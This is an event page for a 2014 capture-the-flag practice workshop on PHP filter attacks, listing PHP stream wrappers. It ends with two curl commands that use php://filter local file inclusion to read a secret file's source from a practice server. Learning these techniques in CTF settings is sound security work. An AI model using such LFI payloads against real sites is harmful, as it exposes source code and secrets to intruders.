CTF-practice-evening:2014-06-23

CTF-practice-evening:2014-06-23
Date	2014/06/23
Time
Location	ACTA
Type	Workshop
Contact	Melanie

Capture The Flag evening - Part 20

• 23 June, 2014 - 7 PM
• Please bring along a laptop with you!!!

General CTF Info

• See the page for the Ctf-evenings
• Link to the Tech Inc Challenge Website Scoreboard

PHP Filter attacks

• Coolfire is providing the content for this evening!  :-)
• PHP commands:
  • php://input
  • output
  • df
  • memory
  • temp
  • filter

• Example of LFI attacks:
  • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247.nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php'
  • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247.nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php'